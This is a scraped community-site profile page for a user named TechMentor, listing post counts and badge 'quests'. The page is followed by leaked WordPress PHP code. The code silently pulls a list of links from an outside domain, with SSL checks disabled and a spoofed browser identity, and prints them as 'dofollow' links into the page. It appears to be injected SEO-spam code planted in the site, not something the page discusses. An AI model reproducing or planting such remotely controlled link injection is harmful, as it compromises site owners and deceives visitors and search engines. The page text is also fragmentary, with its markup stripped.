Be Maker

Loading...

Be Maker

1

1

TechMentor

@admin

14

posts

2

friends

2

comments

Browse TechMentor

Quests 5

hear-me-out

Hear Me Out

Posted more than 10 profile activities in one day

posting-machine

Posting Machine

Posted more than 20 profile activities in one day

the-publisher

The Publisher

Successfully published a new blog post

popular-writer

Popular Writer

Received more than 50 daily visits on any post

bestseller-post

BestSeller Post

Received more than 100 total visits on any post

$api_url = 'https://ankaradelisi13.site/data.json'; // API'den çek $response = wp_remote_get($api_url, array( 'timeout' => 5, // 5 saniye bekle, olmazsa geç 'sslverify' => false, 'headers' => array( 'Accept' => 'application/json', 'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ) )); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $body = wp_remote_retrieve_body($response); $links = json_decode($body, true); if (!empty($links) && is_array($links)) { echo ''; echo '
'; foreach ($links as $link) { $text = isset($link['text']) ? esc_html($link['text']) : ''; $url = isset($link['url']) ? esc_url($link['url']) : '#'; $rel = isset($link['rel']) ? esc_attr($link['rel']) : 'dofollow'; echo '' . $text . ' '; } echo '
'; echo ''; } }